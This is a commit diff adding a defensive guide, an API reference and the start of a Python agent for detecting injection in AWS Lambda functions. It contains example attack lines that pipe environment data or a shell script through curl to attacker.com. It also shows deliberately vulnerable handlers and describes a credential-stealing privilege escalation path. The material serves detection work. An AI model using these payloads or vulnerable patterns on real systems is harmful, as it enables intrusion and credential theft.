Add 30 new production-grade cybersecurity skills: AI security, supply chain, firmware, cloud-native, compliance, deception, crypto, threat hunting, purple team, OT, privacy

This commit is contained in:
mukul975
2026-03-19 19:14:23 +01:00
parent d43cc7a766
commit d833f0eab9
125 changed files with 47874 additions and 334 deletions
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,486 @@
---
name: detecting-serverless-function-injection
description: >
Detects and prevents code injection attacks targeting serverless functions (AWS Lambda, Azure Functions,
Google Cloud Functions) through event source poisoning, malicious layer injection, runtime command
execution, and IAM privilege escalation via function modification. The analyst combines static analysis
of function code, CloudTrail event correlation, runtime behavior monitoring, and IAM policy auditing
to identify injection vectors across the expanded serverless attack surface including API Gateway,
S3, SQS, DynamoDB Streams, and CloudWatch event triggers. Activates for requests involving Lambda
security assessment, serverless injection detection, function event poisoning analysis, or serverless
privilege escalation investigation.
domain: cybersecurity
subdomain: cloud-security
tags: [serverless-security, Lambda-injection, event-source-poisoning, OWASP-serverless, IAM-escalation, CloudTrail]
version: 1.0.0
author: mukul975
license: Apache-2.0
---
# Detecting Serverless Function Injection
## When to Use
- Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (`eval`, `exec`, `child_process.exec`, `os.system`)
- Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
- Detecting privilege escalation paths where an adversary with `lambda:UpdateFunctionCode` and `iam:PassRole` can assume higher-privilege execution roles
- Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
- Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns
**Do not use** for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.
## Prerequisites
- AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
- AWS CLI v2 configured with appropriate credentials and region
- CloudTrail enabled with Data Events for Lambda (captures `Invoke` events) and Management Events (captures `UpdateFunctionCode`, `UpdateFunctionConfiguration`, `CreateFunction`)
- Python 3.9+ with `boto3`, `bandit` (Python SAST), and `semgrep` for static analysis
- Access to function source code or deployment packages for static analysis
- CloudWatch Logs Insights access for querying Lambda execution logs
## Workflow
### Step 1: Enumerate the Serverless Attack Surface
Map all Lambda functions and their event source triggers to understand injection entry points:
- **List all Lambda functions and their configurations**:
```bash
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
```
- **Map event source mappings**: Each event source mapping is a potential injection entry point where untrusted data enters the function:
```bash
aws lambda list-event-source-mappings --output json | \
jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
```
- **Identify API Gateway triggers**: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:
```bash
aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
```
For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.
- **Identify S3 event triggers**: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:
```bash
aws s3api get-bucket-notification-configuration --bucket <bucket-name>
```
- **Catalog function environment variables**: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:
```bash
aws lambda get-function-configuration --function-name <name> \
--query 'Environment.Variables' --output json
```
- **Identify overprivileged execution roles**: Functions with `*` resource permissions or administrative policies are high-value escalation targets:
```bash
aws iam list-attached-role-policies --role-name <lambda-exec-role>
aws iam list-role-policies --role-name <lambda-exec-role>
```
### Step 2: Static Analysis for Injection Sinks
Scan function code for dangerous patterns that allow injected event data to execute as code or commands:
- **Download function deployment packages**:
```bash
aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function_code/
```
- **Python injection sinks** (Lambda Python runtimes): Search for functions that execute strings as code:
```python
# DANGEROUS: Direct eval/exec of event data
eval(event['expression']) # Code injection via eval
exec(event['code']) # Arbitrary code execution
os.system(event['command']) # OS command injection
subprocess.call(event['cmd'], shell=True) # Shell injection
os.popen(event['input']) # Command injection
pickle.loads(event['data']) # Deserialization attack
yaml.load(event['config']) # YAML deserialization (unsafe loader)
```
- **Node.js injection sinks** (Lambda Node.js runtimes):
```javascript
// DANGEROUS: Direct execution of event data
eval(event.expression); // Code injection
new Function(event.code)(); // Dynamic function creation
child_process.exec(event.command); // OS command injection
child_process.execSync(event.cmd); // Synchronous command injection
vm.runInNewContext(event.script); // Sandbox escape potential
require('child_process').exec(event.input); // Import-and-execute pattern
```
- **Run Semgrep with serverless rules**: Use purpose-built rules that detect event data flowing into injection sinks:
```bash
semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
--config "p/python-security" function_code/ --json --output semgrep_results.json
```
- **Run Bandit for Python functions**:
```bash
bandit -r function_code/ -f json -o bandit_results.json \
-t B102,B301,B307,B602,B603,B604,B605,B606,B607
```
These test IDs specifically target `exec`, `pickle`, `eval`, `subprocess` with `shell=True`, and other injection-relevant patterns.
- **Custom pattern detection**: Search for indirect injection patterns where event data is concatenated into strings that are later executed:
```python
# Indirect injection: event data flows into SQL query string
query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
cursor.execute(query) # SQL injection
# Indirect injection: event data flows into template rendering
template = event['template']
rendered = jinja2.Template(template).render() # SSTI
```
### Step 3: Detect Event Source Poisoning
Analyze event sources for injection payloads that exploit how Lambda processes triggers:
- **S3 event key injection**: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:
```python
# Vulnerable Lambda handler
def handler(event, context):
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
# VULNERABLE: key is attacker-controlled
os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
```
Attack: Upload an object with key `; curl http://attacker.com/exfil?data=$(env)` to inject a command through the S3 event.
- **SQS message body injection**: Lambda processes SQS messages where the body contains attacker-controlled data:
```python
# Vulnerable Lambda handler
def handler(event, context):
for record in event['Records']:
message = json.loads(record['body'])
# VULNERABLE: message content used in eval
result = eval(message['formula'])
```
- **API Gateway header/parameter injection**: HTTP request data passes through API Gateway into the Lambda event:
```python
# Vulnerable Lambda handler
def handler(event, context):
user_agent = event['headers']['User-Agent']
# VULNERABLE: header value used in shell command
subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
```
- **DynamoDB Stream record injection**: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:
```python
# Vulnerable Lambda handler
def handler(event, context):
for record in event['Records']:
new_image = record['dynamodb']['NewImage']
config = new_image['config']['S']
# VULNERABLE: DynamoDB record value used in exec
exec(config)
```
- **Detection via CloudWatch Logs Insights**: Query for evidence of injection attempts in function execution logs:
```
fields @timestamp, @message
| filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
| filter @message like /(?i)(error|exception|traceback|syntax)/
| sort @timestamp desc
| limit 100
```
### Step 4: Detect Malicious Lambda Layer Injection
Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:
- **Audit current layer attachments**: List all functions and their layer versions to identify unexpected additions:
```bash
aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
```
- **Detect layer modification events in CloudTrail**: Query for `UpdateFunctionConfiguration` events that add or change layers:
```bash
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
--start-time "2026-03-12T00:00:00Z" \
--end-time "2026-03-19T23:59:59Z" \
--query 'Events[*].[EventTime,Username,CloudTrailEvent]'
```
Parse the `CloudTrailEvent` JSON to check if `Layers` was modified in the request parameters.
- **Analyze layer contents**: Download and inspect layer packages for malicious code:
```bash
aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
--query 'Content.Location' --output text | xargs curl -o layer.zip
unzip layer.zip -d layer_contents/
# Search for suspicious patterns
grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
```
- **Layer hijacking indicators**: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:
- Python: Layer code in `/opt/python/` is imported before the function's own modules
- Node.js: Layer code in `/opt/nodejs/node_modules/` overrides function dependencies
- A layer providing a modified `boto3` package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint
- **CloudTrail detection query for layer changes**:
```json
{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
"errorCode": [{"exists": false}]
}
}
```
### Step 5: Detect IAM Privilege Escalation via Lambda
Identify escalation paths where attackers modify functions to assume higher-privilege roles:
- **The Lambda privilege escalation pattern**: An attacker with `lambda:UpdateFunctionCode` and `iam:PassRole` permissions can:
1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)
2. Modify the function's code to call `sts:GetCallerIdentity` or perform privileged actions
3. Invoke the function, which executes with the high-privilege role
4. Exfiltrate the role's temporary credentials from the function's environment variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_SESSION_TOKEN`)
- **Detect UpdateFunctionCode events**: Monitor CloudTrail for function code modifications:
```bash
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
--start-time "2026-03-12T00:00:00Z" \
--query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
```
- **Detect PassRole to Lambda**: `iam:PassRole` is required to attach a different execution role to a function. Monitor for this:
```
# CloudWatch Logs Insights on CloudTrail logs
fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
| filter eventName = "UpdateFunctionConfiguration20150331v2"
| filter ispresent(requestParameters.role)
| sort eventTime desc
```
- **Detect credential exfiltration from Lambda**: A compromised function may call STS or create new IAM entities:
```
fields eventTime, userIdentity.arn, eventName, sourceIPAddress
| filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
| filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
"CreateAccessKey", "AssumeRole", "PutUserPolicy"]
| sort eventTime desc
```
- **EventBridge rule for real-time alerting**: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:
```json
{
"source": ["aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": [
"UpdateFunctionCode20150331v2",
"UpdateFunctionConfiguration20150331v2",
"CreateFunction20150331"
],
"errorCode": [{"exists": false}]
}
}
```
### Step 6: Implement Runtime Injection Prevention
Deploy runtime protection controls to prevent injection at execution time:
- **Input validation at handler entry**: Validate and sanitize all event data before processing:
```python
import re
import json
from functools import wraps
SAFE_PATTERNS = {
'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
'action': re.compile(r'^(get|list|create|update|delete)$'),
}
def validate_event(schema):
"""Decorator that validates Lambda event against a whitelist schema."""
def decorator(func):
@wraps(func)
def wrapper(event, context):
for field, pattern in schema.items():
value = event.get(field, '')
if isinstance(value, str) and not pattern.match(value):
return {
'statusCode': 400,
'body': json.dumps({'error': f'Invalid {field}'})
}
return func(event, context)
return wrapper
return decorator
@validate_event(SAFE_PATTERNS)
def handler(event, context):
# Event data is validated before reaching this point
user_id = event['userId']
# Safe to use in queries with parameterized statements
return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
```
- **Lambda function URL authorization**: Ensure functions exposed via URLs require IAM auth:
```bash
aws lambda get-function-url-config --function-name <name> \
--query 'AuthType' --output text
# Must return "AWS_IAM", not "NONE"
```
- **Least privilege execution roles**: Restrict the function's IAM role to the minimum required permissions:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"dynamodb:GetItem",
"dynamodb:PutItem"
],
"Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
},
{
"Effect": "Allow",
"Action": "logs:*",
"Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
}
]
}
```
- **SCP to prevent dangerous Lambda modifications**: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyLambdaCodeUpdateExceptCICD",
"Effect": "Deny",
"Action": [
"lambda:UpdateFunctionCode",
"lambda:UpdateFunctionConfiguration"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
}
}
}
]
}
```
- **AWS Lambda Powertools for structured logging**: Emit structured security events that can be ingested by SIEM:
```python
from aws_lambda_powertools import Logger, Tracer
from aws_lambda_powertools.utilities.validation import validate
logger = Logger(service="payment-processor")
tracer = Tracer()
@logger.inject_lambda_context
@tracer.capture_lambda_handler
def handler(event, context):
logger.info("Processing event", extra={
"source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
"user_agent": event.get('headers', {}).get('User-Agent'),
"http_method": event.get('httpMethod'),
})
```
## Key Concepts
| Term | Definition |
|------|------------|
| **Event Source Poisoning** | An attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event |
| **Function Injection** | Exploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler |
| **Lambda Layer Hijacking** | An attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path |
| **IAM Privilege Escalation via Lambda** | A technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials |
| **OWASP Serverless Top 10** | A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6) |
| **Cold Start Injection** | An attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context |
| **Execution Role** | The IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions |
## Tools & Systems
- **Semgrep**: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
- **Bandit**: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
- **AWS CloudTrail**: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
- **CloudWatch Logs Insights**: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
- **AWS Config**: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
- **Prowler**: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption
## Common Scenarios
### Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack
**Context**: A SOC analyst receives a GuardDuty alert for `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS` on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with `lambda:UpdateFunctionCode` permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.
**Approach**:
1. Query CloudTrail for `UpdateFunctionCode` events in the past 7 days to identify when the function was modified and by which principal:
```
fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
| filter eventName = "UpdateFunctionCode20150331v2"
| filter requestParameters.functionName = "payment-processor"
| sort eventTime desc
```
2. Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
3. Download the modified function code and find an injected snippet that POSTs `os.environ['AWS_ACCESS_KEY_ID']`, `AWS_SECRET_ACCESS_KEY`, and `AWS_SESSION_TOKEN` to an external endpoint on each invocation
4. Check if the attacker also added a malicious layer by querying for `UpdateFunctionConfiguration` events with layer changes
5. Verify the function's execution role permissions: the payment-processor role has `dynamodb:*`, `s3:GetObject`, `s3:PutObject`, and `sqs:SendMessage` across all resources, exceeding least privilege
6. Search CloudTrail for API calls made by the exfiltrated credentials from outside AWS, finding `sts:GetCallerIdentity`, `s3:ListBuckets`, `dynamodb:Scan` on the customer table, and `iam:CreateUser` attempts
7. Respond by reverting the function code from the last known-good deployment package in the CI/CD artifact store, rotating the execution role's session tokens, and adding an SCP that restricts `lambda:UpdateFunctionCode` to the CI/CD role only
**Pitfalls**:
- Only checking the function code and missing malicious layers that persist even after the function code is reverted
- Not searching for lateral movement from the exfiltrated credentials to other AWS services, missing data exfiltration from DynamoDB or S3
- Failing to check if the attacker created new IAM users, access keys, or roles during the window the credentials were valid
- Restoring the function without first preserving the malicious code as forensic evidence
- Not implementing preventive controls (SCP, EventBridge alerting) after remediation, leaving the same attack path open
## Output Format
```
## Serverless Function Injection Assessment
**Account**: 111122223333
**Region**: us-east-1
**Functions Analyzed**: 47
**Event Source Mappings**: 23
**Assessment Date**: 2026-03-19
### Critical Findings
#### FINDING-001: OS Command Injection in S3 Event Handler
**Function**: image-resize-processor
**Runtime**: python3.12
**Severity**: Critical (CVSS 9.8)
**Sink**: os.system() at handler.py:34
**Source**: event['Records'][0]['s3']['object']['key']
**Attack Vector**: Upload S3 object with key containing shell metacharacters
**Proof of Concept**:
Object key: `; curl http://attacker.com/shell.sh | bash`
Results in: os.system("convert /tmp/; curl http://attacker.com/shell.sh | bash")
**Remediation**: Replace os.system() with subprocess.run() with shell=False
and validate the S3 key against an allowlist pattern.
#### FINDING-002: IAM Privilege Escalation Path
**Function**: data-export-worker
**Execution Role**: arn:aws:iam::111122223333:role/DataExportRole
**Role Permissions**: s3:*, dynamodb:*, iam:PassRole, lambda:*
**Risk**: Any user with lambda:UpdateFunctionCode can modify this function
to execute arbitrary AWS API calls with AdministratorAccess-equivalent permissions.
**Remediation**: Apply least privilege to the execution role, restrict
lambda:UpdateFunctionCode via SCP to CI/CD pipeline role only.
#### FINDING-003: Unauthorized Layer Attached
**Function**: auth-token-validator
**Layer**: arn:aws:lambda:us-east-1:999888777666:layer:utility-lib:3
**Layer Account**: External account (999888777666)
**Risk**: Layer from untrusted external account can intercept all function
invocations, modify responses, or exfiltrate environment variables.
**Remediation**: Remove the external layer, vendor the dependency into the
function's deployment package, add AWS Config rule to block external layers.
### Detection Rules Deployed
- EventBridge rule: Alert on UpdateFunctionCode from non-CI/CD principals
- CloudWatch alarm: Function error rate spike > 3x baseline in 5 minutes
- Config rule: Lambda functions must not have layers from external accounts
- Config rule: Lambda execution roles must not have wildcard resource permissions
```
@@ -0,0 +1,121 @@
# API Reference: Serverless Function Injection Detection Agent
## Overview
Detects code injection vulnerabilities in AWS Lambda functions by scanning function code for dangerous sinks (eval, exec, os.system, child_process.exec), auditing Lambda layers for external account dependencies, identifying IAM privilege escalation paths through overprivileged execution roles, and monitoring CloudTrail for suspicious function modifications. For authorized security assessments only.
## Dependencies
| Package | Version | Purpose |
|---------|---------|---------|
| boto3 | >=1.26 | AWS API access for Lambda, IAM, CloudTrail |
## CLI Usage
```bash
# Full assessment with code scanning
python agent.py --region us-east-1 --scan-code --cloudtrail-days 14 --output report.json
# Scan specific functions only
python agent.py --functions payment-processor auth-handler --scan-code --output report.json
# Quick assessment without code download (IAM, layers, CloudTrail only)
python agent.py --region us-west-2 --output quick_report.json
```
## Arguments
| Argument | Required | Description |
|----------|----------|-------------|
| `--region` | No | AWS region to assess (default: us-east-1) |
| `--functions` | No | Specific function names to scan (default: all functions in region) |
| `--scan-code` | No | Download and scan function deployment packages for injection sinks |
| `--cloudtrail-days` | No | Number of days of CloudTrail history to search (default: 7) |
| `--output` | No | Output file path (default: `serverless_injection_report.json`) |
## Key Functions
### `enumerate_functions(lambda_client)`
Lists all Lambda functions with runtime, handler, execution role, layers, environment variable names, and function URL configuration. Flags functions with secrets in environment variables.
### `get_event_source_mappings(lambda_client)`
Enumerates all event source mappings (SQS, DynamoDB Streams, Kinesis, Kafka, MQ) to identify injection entry points where untrusted data enters function handlers.
### `download_and_scan_function(lambda_client, function_name, runtime_family, work_dir)`
Downloads the function deployment package, extracts it, and scans source files for injection sinks using regex patterns. Checks whether event data accessors (`event[`, `event.get(`) appear in the context around each sink to assess data flow confidence.
### `audit_layers(lambda_client, functions)`
Identifies Lambda layers from external AWS accounts and high-impact layers shared across 5+ functions. External layers can intercept function execution or override runtime dependencies.
### `detect_privilege_escalation_paths(iam_client, functions)`
Audits execution roles for dangerous permissions (iam:PassRole, lambda:UpdateFunctionCode, sts:AssumeRole) and administrative policies. Any function with UpdateFunctionCode + PassRole is a privilege escalation vector.
### `check_cloudtrail_for_modifications(cloudtrail_client, days_back)`
Searches CloudTrail for UpdateFunctionCode, UpdateFunctionConfiguration, PublishLayerVersion, and CreateFunction events. Flags modifications outside CloudFormation/console, role changes, layer additions, and off-hours activity.
### `check_function_url_security(lambda_client, functions)`
Identifies Lambda function URLs with `AuthType=NONE` that are publicly accessible without authentication.
## Injection Pattern Coverage
### Python Sinks
| Pattern | CWE | Severity |
|---------|-----|----------|
| `eval()` | CWE-95 | Critical |
| `exec()` | CWE-95 | Critical |
| `os.system()` | CWE-78 | Critical |
| `os.popen()` | CWE-78 | Critical |
| `subprocess.*(shell=True)` | CWE-78 | Critical |
| `pickle.loads()` | CWE-502 | High |
| `yaml.load()` without SafeLoader | CWE-502 | High |
| `jinja2.Template()` with event data | CWE-1336 | High |
| SQL via f-string with event data | CWE-89 | Critical |
### Node.js Sinks
| Pattern | CWE | Severity |
|---------|-----|----------|
| `eval()` | CWE-95 | Critical |
| `new Function()` | CWE-95 | Critical |
| `child_process.exec()` | CWE-78 | Critical |
| `child_process.execSync()` | CWE-78 | Critical |
| `vm.runInNewContext()` | CWE-95 | Critical |
| `vm.runInThisContext()` | CWE-95 | Critical |
| Template literal command injection | CWE-78 | Critical |
## Output Schema
```json
{
"report_type": "Serverless Function Injection Assessment",
"generated_at": "ISO-8601 timestamp",
"summary": {
"functions_analyzed": 0,
"event_source_mappings": 0,
"total_findings": 0,
"critical_findings": 0,
"high_findings": 0,
"injection_sinks_found": 0,
"layer_issues": 0,
"escalation_paths": 0,
"suspicious_modifications": 0
},
"findings": [
{
"category": "code_injection|layer_security|privilege_escalation|suspicious_modification|function_url",
"function_name": "",
"severity": "critical|high|medium",
"description": ""
}
],
"functions": [],
"event_source_mappings": [],
"cloudtrail_events": []
}
```
## Exit Codes
| Code | Meaning |
|------|---------|
| 0 | No critical findings |
| 1 | Critical injection sinks or privilege escalation paths detected |
@@ -0,0 +1,605 @@
#!/usr/bin/env python3
# For authorized security assessments and defensive monitoring only
"""Serverless Function Injection Detection Agent - Scans Lambda functions for injection vulnerabilities, layer hijacking, and IAM escalation paths."""
import argparse
import json
import logging
import os
import re
import shutil
import subprocess
import sys
import tempfile
import zipfile
from datetime import datetime, timedelta, timezone
try:
import boto3
from botocore.exceptions import ClientError
except ImportError:
print("ERROR: boto3 required. Install with: pip install boto3")
sys.exit(1)
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
# Dangerous function patterns by runtime
INJECTION_PATTERNS = {
"python": [
